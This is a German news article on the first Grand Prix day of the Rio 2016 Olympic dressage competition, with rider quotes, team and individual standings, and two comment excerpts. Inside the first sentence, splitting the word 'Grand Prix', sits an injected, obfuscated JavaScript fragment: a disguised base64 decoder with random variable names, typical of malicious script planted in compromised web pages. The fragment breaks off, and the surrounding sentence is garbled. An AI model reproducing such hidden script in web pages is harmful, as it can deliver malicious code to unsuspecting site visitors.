Rio 2016: Führung der deutschen Dressurreiter im Grand Prix

11. August 2016 | Von Redaktion | Kategorie: Dressursport, Top Feature
Als letzte Reiterin des gestrigen Tages sicherte sich Dorothee Schneider mit Showtime FRH die vorläufige Führung im Gr<script type=function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Prix (Foto: FEI/Dirk Caremans/Hippo Foto).” width=”600″ height=”400″ />

[Rio de Janeiro (BRA)/ (fn-press)]. Das deutsche Dressurteam ist erfolgreich in den olympischen Grand Prix gestartet. Nach der ersten Hälfte der Starter liegt Deutschland deutlich in Führung vor den Niederlanden und Großbritannien. Auch in der Einzelwertung rangieren Dorothee Schneider (Framersheim) und Sönke Rothenberger (Bad Homburg) auf den ersten beiden Plätzen.

Zum Auftakt der olympischen Dressurwettbewerbe haben die ersten beiden deutschen Reiter starke Leistungen gezeigt. Die "Team-Küken" Sönke Rothenberger und sein niederländischer Wallach Cosmo erzielten 77,329 Prozent im Grand Prix, damit lagen sie lange Zeit auf Platz eins. Entsprechend zufrieden war Sönke Rothenberger mit seinem Olympiadebüt: "Es war ein richtig tolles Gefühl hier bei Olympia einzureiten. Ich wusste, dass das ganze Team voll hinter mir steht. Ich hatte die Order, eine sichere Runde zu drehen, um auch ein bisschen den Druck rauszunehmen in Hinsicht auf die Mannschaftsentscheidung. Cosmo und ich haben alles gegeben, und ich bin im Großen und Ganzen zufrieden mit meinem Ritt. Die Piaffen hätten noch ein bisschen energischer sein können. Ich hoffe, dass wir im Special daran anknüpfen können, denn der Special liegt Cosmo sehr. Ich hatte das Gefühl, dass Cosmo sich hier im Viereck wohl gefühlt hat. Jetzt drücke ich den anderen die Daumen und hoffe, dass sie auch tolle Runden zeigen", sagte er.

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Olympia-Debütant Sönke Rothenberger überzeugte mit seinem souveränen Ritt auf seinem niederländischen Wallach Cosmo (Foto: FEI/Dirk Caremans/Hippo Foto).

Als letztes Paar des ersten Grand-Prix-Tages betraten Dorothee Schneider und ihr Hannoveraner Wallach Showtime FRH für Deutschland das Viereck - und sie verließen es als Führende. 80,986 Prozent bedeuten die deutliche Führung vor Teamkollege Sönke Rothenberger. "Ich bin einfach nur begeistert. Ich hatte das Gefühl, unser Zusammenspiel war heute super. Showtime hat mir sehr gut zugehört, er war immer vor den Hilfen, die Anlehnung war top. In den blöden Linkspirouetten hatten wir ein kleines Missverständnis, aber die Freude über das super Mannschaftsergebnis überwiegt", sagte Dorothee Schneider nach ihrem Ritt. Auch Equipe-Chef Klaus Röser war zufrieden mit den Vorstellungen seiner schwarz-rot-goldenen Schützlinge: "Wir haben zwei super Ritte gesehen, Sönke hat das als Startreiter ganz clever und souverän gemacht. Das war ganz wichtig für die Mannschaft, uns fiel nach dem Ergebnis allen ein Stein vom Herzen. Bei Doro stand ich an der kurzen Seite - aber das, was ich von den beiden gesehen habe, war einfach spitze. Er ist ja auch nicht das erfahrenste Pferd mit seinen zehn Jahren. Wir sind mehr als zufrieden heute, die beiden haben gut vorgelegt, die Stimmung ist super im Team", sagte er.

Hinter den beiden Deutschen auf Platz drei liegt nach den ersten 30 von 60 Startern im Grand Prix die Britin Fiona Bigwood mit Orthilia und 77,157 Prozent. Es folgen der Niederländer Edward Gal und Voice mit 75,271 Prozent auf Platz vier und die US-Amerikanerin Kasey Perry-Glass mit Dublet und 75,229 Prozent auf Platz fünf.

In der Teamwertung liegt Deutschland mit 79,157 Prozent deutlich in Führung vor den Niederlanden mit 75,271 Prozent und Großbritannien mit 74,921 Prozent. Es folgen die Teams aus den USA und Schweden mit 73,957 bzw. 73,357 Prozent. Für die Teamwertung wurde der Durchschnittswert der beiden Einzelergebnisse errechnet. Eine Ausnahme bildet das Ergebnis des niederländischen Teams: Hier zählt derzeit nur das Resultat von Edward Gal. Seine Teamkollegin Adelinde Cornissen musste mit Parzival aufgeben. Ihr Pferd sei am Tag vor der Prüfung in die Wange gestochen worden. Diese sei daraufhin angeschwollen und Parzival habe Fieber bekommen, erklärte die Reiterin. Heute habe der Team-Vet dann zwar grünes Licht für einen Start gegeben, "in der Prüfung habe ich jedoch gemerkt, dass er alle und fertig ist. Deshalb wollte ich ihm das nicht weiter zumuten und habe aufgehört", sagte Cornelissen.

Morgen geht es ab 15 Uhr deutscher Zeit weiter mit der zweiten Hälfte der Starter im Grand Prix. Um 17:21 Uhr betreten dann Kristina Bröring-Sprehe und Desperados FRH für Deutschland das olympische Viereck. Als letztes Paar werden Isabell Werth und Weihegold OLD um 20:51 Uhr ins Stadion einreiten. Der Grand Prix zählt als erste Wertungsprüfung für die Teammedaillen sowie als erste Qualifikation für das Einzelfinale am kommenden Montag. Die Entscheidung über die Teammedaillen fällt nach dem Grand Prix Special am Freitag. Pro Mannschaft werden die besten drei Ergebnisse gewertet.

Zwischenstand nach Tag eins des Grand Prix:

Mannschaftswertung

1. Deutschland; 79,157 Prozent

2. Niederlande; 75,271 Prozent

3. Großbritannien; 74,921 Prozent

4. USA; 73,957 Prozent

5. Schweden; 73,357 Prozent

Einzelwertung

1. Dorothee Schneider und Showtime FRH (GER); 80,986 Prozent

2. Sönke Rothenberger und Cosmo (GER); 77,329 Prozent

3. Fiona Bigwood und Orthilia (GBR); 77,157 Prozent

4. Edward Gal und Voice (NED); 75,271 Prozent

5. Kasey Perry-Glass und Dubelt (USA); 75,229 Prozent

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2 Kommentare
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  1. [...] Nachdem Sönke Rothenberger mit Cosmo und Dorothee Schneider mit Showtime FRH am ersten Tag des olym…, musste heute Kristina Bröring-Sprehe als dritte deutsche Reiterin mit ihrem 15-jährigen Hannoveraner Hengst Desperados FRH ins Viereck. Die beiden Weltranglistenersten zeigten sich gewohnt souverän und übernahmen mit 82,257 Prozent die zwischenzeitliche Führung. „Es war der erste Tag, und es waren noch ein paar Fehlerchen drin in unserer Vorstellung. In der Piaffe war Despi ein bisschen heiß, da wollte er so ein bisschen raus. Das geht entsprechend noch besser, trotzdem bin ich sehr zufrieden“, zeigte sich Bröring-Sprehe trotz ihrer tollen Leistung nach dem Ritt selbstkritisch. Etwas euphorischer war da schon Bundestrainerin Monica Theodorescu: „Tina und Desperados waren sensationell. Am ersten Tag ist er immer ein bisschen aufgekratzt, das hat man in der ersten Piaffe gesehen. Aber dann hat Tina ihm die Nase vorgelassen, und so kam er im Laufe der Prüfung wieder zur Ruhe“, sagte sie. [...]

  2. [...] Olympischen Spielen durch Addition der Ergebnisse aus Grand Prix und Grand Prix Special ermittelt. Bereits im Grand Prix legte das deutsche Quartett den Grundstein für seinen Sieg und bestätigte die gezeigten Leistungen auch im Grand Prix Special. Das Motto für den heutigen [...]

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